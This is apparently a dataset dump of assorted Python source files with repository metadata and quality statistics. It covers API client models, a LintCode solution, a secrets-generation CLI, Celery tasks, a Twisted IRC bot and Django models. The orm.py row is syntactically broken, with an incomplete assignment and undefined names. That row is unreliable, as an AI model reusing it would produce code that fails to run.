signers if you want to.
required (bool): If some of the signers are marked as required, the
other signers are not allowed to sign before the required ones
have signed the document
sign_url_expires (datetime): How long before the signers url should
expire? (ISO 8601). This can be set if you only want a limited
time to live for each sign url (If you generate a new url at a
later time this will also have this limited lifetime). Defaults to
the document lifetime.
"""
# Create a mapping from Model property names to API property names
_names = {
"redirect_settings":'redirectSettings',
"signer_info":'signerInfo',
"extra_info":'extraInfo',
"ui":'ui',
"notifications":'notifications',
"tags":'tags',
"order":'order',
"required":'required',
"sign_url_expires":'signUrlExpires'
}
def __init__(self,
redirect_settings=None,
signer_info=None,
extra_info=None,
ui=None,
notifications=None,
tags=None,
order=None,
required=None,
sign_url_expires=None,
additional_properties = {}):
"""Constructor for the UpdateSignerRequestWrapper class"""
# Initialize members of the class
self.redirect_settings = redirect_settings
self.signer_info = signer_info
self.extra_info = extra_info
self.ui = ui
self.notifications = notifications
self.tags = tags
self.order = order
self.required = required
self.sign_url_expires = APIHelper.RFC3339DateTime(sign_url_expires) if sign_url_expires else None
# Add additional model properties to the instance
self.additional_properties = additional_properties
@classmethod
def from_dictionary(cls,
dictionary):
"""Creates an instance of this model from a dictionary
Args:
dictionary (dictionary): A dictionary representation of the object as
obtained from the deserialization of the server's response. The keys
MUST match property names in the API description.
Returns:
object: An instance of this structure class.
"""
if dictionary is None:
return None
# Extract variables from the dictionary
redirect_settings = idfy_rest_client.models.redirect_settings.RedirectSettings.from_dictionary(dictionary.get('redirectSettings')) if dictionary.get('redirectSettings') else None
signer_info = idfy_rest_client.models.signer_info.SignerInfo.from_dictionary(dictionary.get('signerInfo')) if dictionary.get('signerInfo') else None
extra_info = idfy_rest_client.models.extra_info_signer_request.ExtraInfoSignerRequest.from_dictionary(dictionary.get('extraInfo')) if dictionary.get('extraInfo') else None
ui = idfy_rest_client.models.ui.UI.from_dictionary(dictionary.get('ui')) if dictionary.get('ui') else None
notifications = idfy_rest_client.models.notifications.Notifications.from_dictionary(dictionary.get('notifications')) if dictionary.get('notifications') else None
tags = dictionary.get('tags')
order = dictionary.get('order')
required = dictionary.get('required')
sign_url_expires = APIHelper.RFC3339DateTime.from_value(dictionary.get("signUrlExpires")).datetime if dictionary.get("signUrlExpires") else None
# Clean out expected properties from dictionary
for key in cls._names.values():
if key in dictionary:
del dictionary[key]
# Return an object of this model
return cls(redirect_settings,
signer_info,
extra_info,
ui,
notifications,
tags,
order,
required,
sign_url_expires,
dictionary)
| 42.338346 | 187 | 0.639318 | 621 | 5,631 | 5.650564 | 0.283414 | 0.055571 | 0.047877 | 0.062696 | 0.125392 | 0.061556 | 0.023938 | 0.023938 | 0 | 0 | 0 | 0.003775 | 0.294441 | 5,631 | 132 | 188 | 42.659091 | 0.879436 | 0.37702 | 0 | 0 | 1 | 0 | 0.098082 | 0 | 0 | 0 | 0 | 0.007576 | 0 | 1 | 0.030303 | false | 0 | 0.090909 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99d2f7973e10165dc388a3dc6849550c2db3e600 | 1,095 | py | Python | lintcode/String/956. Data Segmentation.py | yanshengjia/algorithm | 0608d286be9c93d51768d47f21e569c6b0be9cda | [
"MIT"
] | 23 | 2019-08-02T12:02:47.000Z | 2022-03-09T15:24:16.000Z | lintcode/String/956. Data Segmentation.py | yanshengjia/algorithm | 0608d286be9c93d51768d47f21e569c6b0be9cda | [
"MIT"
] | null | null | null | lintcode/String/956. Data Segmentation.py | yanshengjia/algorithm | 0608d286be9c93d51768d47f21e569c6b0be9cda | [
"MIT"
] | 21 | 2019-12-22T04:47:32.000Z | 2021-09-12T14:29:35.000Z | """
Given a string str, we need to extract the symbols and words of the string in order.
Example 1:
input: str = "(hi (i am)bye)"
outut:["(","hi","(","i","am",")","bye",")"].
Explanation:Separate symbols and words.
Solution:
Go through the str, push the alphabetical into stack and append it to res list if we meet a non-alpha char.
"""
# Time: O(N), where N is the length of the input string
# Space: O(N) in the worst case as the string is full of alphabetical chars.
class Solution:
"""
@param str: The input string
@return: The answer
"""
def dataSegmentation(self, str):
# Write your code here
res = []
if len(str) == 0:
return res
tmp = ''
for i in range(len(str)):
if str[i].isalpha():
tmp += str[i]
else:
if len(tmp) > 0:
res.append(tmp)
tmp = ''
if str[i] != ' ':
res.append(str[i])
if len(tmp) > 0:
res.append(tmp)
return res
| 26.071429 | 107 | 0.507763 | 149 | 1,095 | 3.731544 | 0.47651 | 0.028777 | 0.053957 | 0.028777 | 0.07554 | 0.07554 | 0.07554 | 0 | 0 | 0 | 0 | 0.00578 | 0.368037 | 1,095 | 41 | 108 | 26.707317 | 0.797688 | 0.485845 | 0 | 0.444444 | 0 | 0 | 0.001873 | 0 | 0 | 0 | 0 | 0.02439 | 0 | 1 | 0.055556 | false | 0 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99d4661007ec7da5c8f2e9e867f297c616d1e26c | 709 | py | Python | src/orm.py | brianherman/Saati | b57a8c0c8030f9c21c971c2febc9dc9486386af5 | [
"Apache-2.0"
] | null | null | null | src/orm.py | brianherman/Saati | b57a8c0c8030f9c21c971c2febc9dc9486386af5 | [
"Apache-2.0"
] | 3 | 2021-09-08T03:14:51.000Z | 2022-03-12T00:57:23.000Z | src/orm.py | brianherman/Saati | b57a8c0c8030f9c21c971c2febc9dc9486386af5 | [
"Apache-2.0"
] | null | null | null | from sqlalchemy import Column, Integer, String
from sqlalchemy.dialects.postgresql import ARRAY, UUID
from sqlalchemy.ext.declarative import declarative_base
from pydantic import BaseModel, constr
Base = declarative_base()
class EventOrm(Base):
__tablename__ = 'EventLog'
uuid = Column(UUID, primary_key=True, nullable=False, default=uuid.uuid4, unique=True)
utterance_ts =
public_key = Column(String(20), index=True, nullable=False, unique=True)
name = Column(String(63), unique=True)
class Event(BaseModel):
uuid: str = uuid.uuid4()
utterance_ts: datetime = datetime.now()
input: str
output: List[str]
sentiment: int
sync_ratio: float
interactions: int
| 29.541667 | 90 | 0.733427 | 89 | 709 | 5.719101 | 0.539326 | 0.082515 | 0.066798 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010204 | 0.170663 | 709 | 23 | 91 | 30.826087 | 0.855442 | 0 | 0 | 0 | 0 | 0 | 0.011284 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.210526 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99dc8a0bd852d3418f457335ddc67cfce5fb2a5d | 6,110 | py | Python | psec/secrets/generate.py | davedittrich/python_secrets | 63ca7001748464e1632f66cd95edf604c2b517e4 | [
"Apache-2.0"
] | 10 | 2019-01-29T19:07:18.000Z | 2020-12-27T23:30:44.000Z | psec/secrets/generate.py | davedittrich/python_secrets | 63ca7001748464e1632f66cd95edf604c2b517e4 | [
"Apache-2.0"
] | 1 | 2020-08-09T08:47:41.000Z | 2020-08-12T04:32:02.000Z | psec/secrets/generate.py | davedittrich/python_secrets | 63ca7001748464e1632f66cd95edf604c2b517e4 | [
"Apache-2.0"
] | 3 | 2019-01-24T20:03:23.000Z | 2021-06-29T21:23:27.000Z | # -*- coding: utf-8 -*-
import argparse
import logging
import textwrap
from cliff.command import Command
from psec.secrets_environment import (
generate_secret,
natural_number,
DELIMITER,
MAX_WORDS_LENGTH,
MIN_WORDS_LENGTH,
MAX_ACROSTIC_LENGTH,
MIN_ACROSTIC_LENGTH,
)
from xkcdpass.xkcd_password import CASE_METHODS
class SecretsGenerate(Command):
"""Generate values for secrets."""
logger = logging.getLogger(__name__)
def get_parser(self, prog_name):
parser = super().get_parser(prog_name)
parser.formatter_class = argparse.RawDescriptionHelpFormatter
parser.add_argument(
'--from-options',
action='store_true',
dest='from_options',
default=False,
help=('Set string variables from first available '
'option (default: False)')
)
parser.add_argument(
'--min-words-length',
action='store',
type=natural_number,
dest='min_words_length',
default=MIN_WORDS_LENGTH,
help=('Minimum word length for XKCD words list '
f'(default: {MIN_WORDS_LENGTH})')
)
parser.add_argument(
'--max-words-length',
action='store',
type=natural_number,
dest='max_words_length',
default=MAX_WORDS_LENGTH,
help=('Maximum word length for XKCD words list '
f'(default: {MIN_WORDS_LENGTH})')
)
parser.add_argument(
'--min-acrostic-length',
action='store',
type=natural_number,
dest='min_acrostic_length',
default=MIN_ACROSTIC_LENGTH,
help=('Minimum length of acrostic word for XKCD password'
f'(default: {MIN_ACROSTIC_LENGTH})')
)
parser.add_argument(
'--max-acrostic-length',
action='store',
type=natural_number,
dest='max_acrostic_length',
default=MAX_ACROSTIC_LENGTH,
help=('Maximum length of acrostic word for XKCD password'
f'(default: {MAX_ACROSTIC_LENGTH})')
)
parser.add_argument(
'--acrostic',
action='store',
dest='acrostic',
default=None,
help=('Acrostic word for XKCD password '
'(default: None)')
)
parser.add_argument(
'--delimiter',
action='store',
dest='delimiter',
default=DELIMITER,
help=('Delimiter for XKCD password '
f"(default: '{DELIMITER}')")
)
parser.add_argument(
"-C", "--case",
dest="case",
type=str,
metavar="CASE",
choices=list(CASE_METHODS.keys()), default="alternating",
help=(
'Choose the method for setting the case of each '
'word in the passphrase. '
f"Choices: {list(CASE_METHODS.keys())} "
f"(default: 'alternating')"
)
)
parser.add_argument(
'-U', '--unique',
action='store_true',
dest='unique',
default=False,
help=("Generate unique values for each "
"type of secret (default: False)")
)
parser.add_argument('arg', nargs='*', default=None)
parser.epilog = textwrap.dedent("""
Sets variables by generating values according to the
``Type`` definition for each variable.
If you include the ``--from-options`` flag, string
variables will also be set according to their default
value as described in the help output for the ``secrets set``
command. This allows as many variables as possible to be
set with a single command (rather than requiring the user to
do both ``secrets set`` and ``secrets generate`` as two
separate steps.
To affect only a subset of secrets, specify their names as the
arguments to this command. If no secrets are specified, all
secrets will be affected.
""")
return parser
def take_action(self, parsed_args):
self.logger.debug('[*] generating secrets')
self.app.secrets.read_secrets_and_descriptions()
# If no secrets specified, default to all secrets
to_change = parsed_args.arg \
if len(parsed_args.arg) > 0 \
else [k for k, v in self.app.secrets.items()]
for secret in to_change:
secret_type = self.app.secrets.get_secret_type(secret)
# >> Issue: [B105:hardcoded_password_string] Possible hardcoded password: 'string' # noqa
# Severity: Low Confidence: Medium
# Location: psec/secrets/generate.py:142
# More Info: https://bandit.readthedocs.io/en/latest/plugins/b105_hardcoded_password_string.html # noqa
# 142 if parsed_args.from_options and secret_type == 'string': # noqa
if secret_type is None:
raise TypeError(
f"[-] secret '{secret}' "
"has no type definition")
arguments = self.app.secrets.get_secret_arguments(secret)
if parsed_args.from_options and secret_type == 'string': # nosec
try:
value = self.app.secrets.Options.get(secret).split(',')[0]
except Exception:
value = None
else:
value = generate_secret(secret_type=secret_type,
*arguments,
**dict(parsed_args._get_kwargs()))
if value is not None:
self.logger.debug(
"[+] generated %s for %s", secret_type, secret)
self.app.secrets.set_secret(secret, value)
# vim: set fileencoding=utf-8 ts=4 sw=4 tw=0 et :
| 37.484663 | 116 | 0.549591 | 637 | 6,110 | 5.11617 | 0.298273 | 0.033753 | 0.052163 | 0.025775 | 0.234428 | 0.150353 | 0.150353 | 0.150353 | 0.092053 | 0.03989 | 0 | 0.004813 | 0.353846 | 6,110 | 162 | 117 | 37.716049 | 0.820669 | 0.081997 | 0 | 0.176056 | 1 | 0 | 0.325644 | 0.020207 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014085 | false | 0.042254 | 0.042254 | 0 | 0.077465 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99e39fb9e2ee58c7a80711e9248f8542540eb0a0 | 312 | py | Python | veyon/PySwitchTracer/tasks/task1/task_test1.py | IzayoiRin/VirtualVeyonST | d0c4035dba81d02135ad54f4c5a5d463e95f7925 | [
"MIT"
] | null | null | null | veyon/PySwitchTracer/tasks/task1/task_test1.py | IzayoiRin/VirtualVeyonST | d0c4035dba81d02135ad54f4c5a5d463e95f7925 | [
"MIT"
] | null | null | null | veyon/PySwitchTracer/tasks/task1/task_test1.py | IzayoiRin/VirtualVeyonST | d0c4035dba81d02135ad54f4c5a5d463e95f7925 | [
"MIT"
] | null | null | null | import time
from tasks.capp import app
from others.affine_applications import MoveApps
@app.task(name="sdc.move11", bind=True)
def task_1(self, x):
time.sleep(1)
return MoveApps(":move", x).foo()
@app.task(name="sdc.move12", bind=True)
def task_2(self, x):
return MoveApps(":move", x + 1).foo()
| 19.5 | 47 | 0.685897 | 51 | 312 | 4.137255 | 0.509804 | 0.066351 | 0.104265 | 0.132701 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030075 | 0.147436 | 312 | 15 | 48 | 20.8 | 0.763158 | 0 | 0 | 0 | 0 | 0 | 0.096154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.3 | 0.1 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
99e5a4af88f6d1b77d00c07dfde7cef554ce50b1 | 220 | py | Python | 20_exec/12_.py | ScriptErrorVGM/Project2021 | 593f7fb5cfc5cf82cf1589ccd4b95ed7a13819cb | [
"BSD-3-Clause"
] | null | null | null | 20_exec/12_.py | ScriptErrorVGM/Project2021 | 593f7fb5cfc5cf82cf1589ccd4b95ed7a13819cb | [
"BSD-3-Clause"
] | null | null | null | 20_exec/12_.py | ScriptErrorVGM/Project2021 | 593f7fb5cfc5cf82cf1589ccd4b95ed7a13819cb | [
"BSD-3-Clause"
] | null | null | null | def main():
c = input()
if c != c[::-1]: # -1 шаг строки: от конца к началу
print("It's not palindrome")
else:
print("It's palindrome")
if __name__ == "__main__":
main() | 22 | 56 | 0.486364 | 29 | 220 | 3.413793 | 0.655172 | 0.141414 | 0.161616 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014085 | 0.354545 | 220 | 10 | 57 | 22 | 0.683099 | 0.145455 | 0 | 0 | 0 | 0 | 0.235955 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.125 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99e60bbfcc605867a9682aab23555342422a8ed8 | 1,657 | py | Python | src/gbstrategy/core/_Interface.py | GrayBoxAI/GrayBoxStrategy | 7f5fc9dd70cf3cfa626a133de9a0b797fe1a0d7b | [
"Apache-2.0"
] | 1 | 2017-12-04T16:20:59.000Z | 2017-12-04T16:20:59.000Z | src/gbstrategy/core/_Interface.py | GrayBoxAI/GrayBoxStrategy | 7f5fc9dd70cf3cfa626a133de9a0b797fe1a0d7b | [
"Apache-2.0"
] | null | null | null | src/gbstrategy/core/_Interface.py | GrayBoxAI/GrayBoxStrategy | 7f5fc9dd70cf3cfa626a133de9a0b797fe1a0d7b | [
"Apache-2.0"
] | 1 | 2017-12-03T21:38:03.000Z | 2017-12-03T21:38:03.000Z | # Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import copy
class Interface(object):
"Interface base class for abstracting away the communication layer of the strategy"
def __init__(self):
self.driver = None
self.strategy = None
self.factory = None
def register_strategy(self, strategy, factory):
self.strategy = strategy
self.factory = factory
def register_driver(self, driver):
self.driver = driver
def run_exp(self, data):
dic = copy.deepcopy(data)
end_epoch = dic.pop('end_epoch')
exp_id = dic.pop('exp_id')
hyperparams = dic
self.driver.run_exp(exp_id, end_epoch, hyperparams)
def kill_exp(self, data):
raise NotImplementedError
def next_time_point(self):
self.factory.generate_psm()
self.driver.next()
def upload_training_loss(self, exp_id, epoch, loss_name, loss_value):
data = {
'exp_id': exp_id,
'epoch' : epoch,
'loss_name' : loss_name,
'loss_value': loss_value,
}
self.strategy.ReceiveTrainingLoss(**data)
| 31.264151 | 87 | 0.658419 | 217 | 1,657 | 4.894009 | 0.460829 | 0.056497 | 0.033898 | 0.030132 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003255 | 0.258298 | 1,657 | 52 | 88 | 31.865385 | 0.860862 | 0.375377 | 0 | 0 | 0 | 0 | 0.113924 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.225806 | false | 0 | 0.032258 | 0 | 0.290323 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99e82ceee46963fed497a364bf93cfa803bfca4f | 5,430 | py | Python | bordercamp/irc.py | mk-fg/bordercamp-irc-bot | c4eda5739e46bc98d6bb1f912285d210e0fa9578 | [
"WTFPL"
] | 1 | 2016-04-02T02:52:21.000Z | 2016-04-02T02:52:21.000Z | bordercamp/irc.py | mk-fg/bordercamp-irc-bot | c4eda5739e46bc98d6bb1f912285d210e0fa9578 | [
"WTFPL"
] | 2 | 2019-10-14T16:56:52.000Z | 2019-10-14T16:57:03.000Z | bordercamp/irc.py | mk-fg/bordercamp-irc-bot | c4eda5739e46bc98d6bb1f912285d210e0fa9578 | [
"WTFPL"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import print_function
import itertools as it, operator as op, functools as ft
from datetime import datetime
import os, sys
from twisted.internet import reactor, protocol, defer
from twisted.words.service import IRCUser, IRCFactory, InMemoryWordsRealm, Group
from twisted.cred import checkers, credentials, portal
from twisted.words.protocols import irc
from twisted.python import log
from . import force_bytes
class BCBot(irc.IRCClient):
versionName, versionEnv = 'bordercamp', '{1} ({0})'.format(*os.uname()[:2])
versionNum = '.'.join( bytes(int(num)) for num in
datetime.fromtimestamp(os.stat(__file__).st_mtime).strftime('%y %m %d').split() )
sourceURL = 'http://github.com/mk-fg/bordercamp-irc-bot'
def __init__(self, conf, interface):
self.conf, self.interface = conf, interface
self.heartbeatInterval = self.conf.connection.heartbeat
for k in 'nickname', 'realname',\
'username', 'password', 'userinfo', 'nickname':
v = self.conf.connection.get(k)
if v: setattr(self, k, v)
def connectionMade(self):
irc.IRCClient.connectionMade(self)
log.debug('Connected to IRC server')
def connectionLost(self, reason):
log.debug('Lost connection to the IRC server: {}'.format(reason))
irc.IRCClient.connectionLost(self, reason)
self.interface.proto_off(self)
def signedOn(self):
log.debug('Signed on')
self.interface.proto_on(self)
def joined(self, channel): # znc somehow omits these, it seems
log.debug('Joined channel: {}'.format(channel))
def privmsg(self, user, channel, message):
nick = user.split('!', 1)[0]
if self.conf.nickname_lstrip: nick = nick.lstrip(self.conf.nickname_lstrip)
log.noise('Got msg: {}'.format([user, nick, channel, message]))
self.interface.proto_msg(self, user, nick, channel, message)
def action(self, user, channel, message):
self.privmsg(user, channel, '/me {}'.format(message))
def noticed(self, user, channel, message):
self.privmsg(user, channel, '/notice {}'.format(message))
class BCClientFactory(protocol.ReconnectingClientFactory):
protocol = property(lambda s: ft.partial(BCBot, s.conf, s.interface))
def __init__(self, conf, interface, ep):
self.conf, self.interface, self.ep = conf, interface, ep
for k,v in self.conf.connection.reconnect.viewitems(): setattr(self, k, v)
def connect(self):
self.ep.connect(self)
def doStop(self):
protocol.ReconnectingClientFactory.doStop(self)
if self.continueTrying:
self.connector = self
self.retry()
class BCIRCUser(IRCUser):
_welcomeMessages = IRCUser._welcomeMessages + [
(irc.RPL_ISUPPORT, 'NETWORK=%(serviceName)s :are supported by this server') ]
_motd = None
@property
def _motdMessages(self):
if self._motd is None:
self._motd =\
[(irc.RPL_MOTDSTART, ":- %(serviceName)s Message of the Day - ")]\
+ list((irc.RPL_MOTD, ': {}'.format(line.strip())) for line in self.factory.motd)\
+ [(irc.RPL_ENDOFMOTD, ":End of /MOTD command.")]
return self._motd
def irc_unknown(self, prefix, command, params):
log.info('Ignoring unhandled irc command: {!r}'.format([prefix, command, params]))
if self.nickname:
self.sendMessage( irc.ERR_UNKNOWNCOMMAND,
':Unknown command ({!r}, parameters: {!r})'.format(command, params) )
def irc_CAP(self, prefix, params): pass # no support for caps
def irc_AWAY(self, prefix, params): pass # no point in these
def irc_MOTD(self, prefix=None, params=None):
for code, text in self._motdMessages:
self.sendMessage(code, text % self.factory._serverInfo)
def irc_JOIN(self, prefix, params):
if not self.avatar: # deny any access to no-auth users
self.sendMessage( irc.ERR_NOSUCHCHANNEL, params[0],
':No such channel (or only available for authorized users)' )
for channel in (params[0].split(',') if ',' in params[0] else [params[0]]):
IRCUser.irc_JOIN(self, prefix, [channel] + params[1:])
def irc_NICK(self, prefix, params):
try: nickname = params[0].decode(self.encoding)
except UnicodeDecodeError:
self.privmsg( NICKSERV, nickname,
'Nickname cannot be decoded. Use ASCII or {}.'.format(self.encoding.upper()) )
self.transport.loseConnection()
return
self.nickname = self.name = nickname
self.irc_MOTD()
if self.password is not None:
password, self.password = self.password, None
self.logInAs(nickname, password)
def privmsg(self, sender, recip, message):
# Hard to track how unicode leaks here
sender, recip, message = it.imap(force_bytes, [sender, recip, message])
return IRCUser.privmsg(self, sender, recip, message)
class BCGroup(Group):
def remove(self, user, reason=None):
if isinstance(reason, bytes): reason = reason.decode('utf-8', 'replace')
return Group.remove(self, user, reason)
class BCRealm(InMemoryWordsRealm):
def groupFactory(self, name):
return BCGroup(name)
class BCServerFactory(IRCFactory):
protocol = BCIRCUser
motd = list()
def __init__(self, conf, *channels, **extra_creds):
self.conf = conf
realm = BCRealm(self.conf.name)
passwd = (self.conf.passwd or dict()).copy()
passwd.update(extra_creds)
realm_portal = portal.Portal(realm, [
checkers.InMemoryUsernamePasswordDatabaseDontUse(**passwd) ])
for channel in channels:
if channel[0] == '#': channel = channel[1:]
realm.createGroup(unicode(channel))
IRCFactory.__init__(self, realm, realm_portal)
if self.conf.motd: self.motd = self.conf.motd.splitlines()
| 31.941176 | 86 | 0.717311 | 727 | 5,430 | 5.275103 | 0.331499 | 0.031291 | 0.016688 | 0.011734 | 0.070404 | 0.022947 | 0.022947 | 0.022947 | 0 | 0 | 0 | 0.003225 | 0.143462 | 5,430 | 169 | 87 | 32.130178 | 0.821329 | 0.030018 | 0 | 0 | 0 | 0 | 0.103612 | 0.004373 | 0 | 0 | 0 | 0 | 0 | 1 | 0.183333 | false | 0.075 | 0.083333 | 0.008333 | 0.416667 | 0.008333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
99ec3a892e6d861858a8898f705378cd048e4725 | 322 | py | Python | UDEMY-Learn Python Programming Masterclass/Section 3-Stepping into the World of Python/sequence_operators.py | Sanjay9921/Python | 05ac161dd46f9b4731a5c14ff5ef52adb705e8e6 | [
"MIT"
] | null | null | null | UDEMY-Learn Python Programming Masterclass/Section 3-Stepping into the World of Python/sequence_operators.py | Sanjay9921/Python | 05ac161dd46f9b4731a5c14ff5ef52adb705e8e6 | [
"MIT"
] | null | null | null | UDEMY-Learn Python Programming Masterclass/Section 3-Stepping into the World of Python/sequence_operators.py | Sanjay9921/Python | 05ac161dd46f9b4731a5c14ff5ef52adb705e8e6 | [
"MIT"
] | null | null | null | str1 = "Liu Kang "
str2 = "Johnny Cage "
str3 = "Scorpion "
str4 = "Sub-Zero "
str5 = "Sonya "
str6 = "Test yo might! "
print(str1 + str2 + str3 + str4 + str5 + str6)
print(str3 * 5)
print(str3 * (5 + 4))
print(str3 * 5 + "4")
today = "Tuesday"
# bool - in operator
print("day" in today)
print("scorpion" in today)
| 14.636364 | 46 | 0.602484 | 48 | 322 | 4.041667 | 0.541667 | 0.139175 | 0.154639 | 0.113402 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080321 | 0.226708 | 322 | 21 | 47 | 15.333333 | 0.698795 | 0.055901 | 0 | 0 | 0 | 0 | 0.264214 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.461538 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
99ed63650099b14a883f9ecbd4f6ae0c07c8f1c1 | 455 | py | Python | produtos/migrations/0007_auto_20171110_1138.py | Moisestuli/karrata | 962ce0c573214bfc83720727c9cacae823a8c372 | [
"MIT"
] | null | null | null | produtos/migrations/0007_auto_20171110_1138.py | Moisestuli/karrata | 962ce0c573214bfc83720727c9cacae823a8c372 | [
"MIT"
] | null | null | null | produtos/migrations/0007_auto_20171110_1138.py | Moisestuli/karrata | 962ce0c573214bfc83720727c9cacae823a8c372 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-11-10 10:38
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('produtos', '0006_auto_20171109_1046'),
]
operations = [
migrations.AlterModelOptions(
name='produto',
options={'ordering': ('-created_at',), 'verbose_name_plural': 'Produtos'},
),
]
| 22.75 | 86 | 0.626374 | 48 | 455 | 5.708333 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095376 | 0.23956 | 455 | 19 | 87 | 23.947368 | 0.696532 | 0.149451 | 0 | 0 | 1 | 0 | 0.21875 | 0.059896 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99ef47ff1aa8ca73bbcd6a2b57b5a1a59859723b | 562 | py | Python | users/models.py | barackmaund1/Awwards- | 8b749e6ad6a8124ad07434e9fad537d1abe5f274 | [
"MIT"
] | null | null | null | users/models.py | barackmaund1/Awwards- | 8b749e6ad6a8124ad07434e9fad537d1abe5f274 | [
"MIT"
] | 8 | 2021-03-19T11:24:02.000Z | 2022-03-12T00:34:31.000Z | users/models.py | barackmaund1/Awwards- | 8b749e6ad6a8124ad07434e9fad537d1abe5f274 | [
"MIT"
] | null | null | null | from django.db import models
from django.contrib.auth.models import User
from PIL import Image
# Create your models here.
class Profile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE)
image = models.ImageField(default='default.jpg', upload_to='profile_pics/')
contacts=models.CharField(max_length=50 ,blank=True,null=True)
bio=models.CharField(max_length=100,blank=True,null=True)
def save_profile(self):
self.save()
def __str__(self):
return f'{self.user.username} Profile'
| 31.222222 | 79 | 0.713523 | 77 | 562 | 5.077922 | 0.558442 | 0.051151 | 0.092072 | 0.122762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010776 | 0.174377 | 562 | 18 | 80 | 31.222222 | 0.831897 | 0.042705 | 0 | 0 | 0 | 0 | 0.096834 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.25 | 0.083333 | 0.916667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
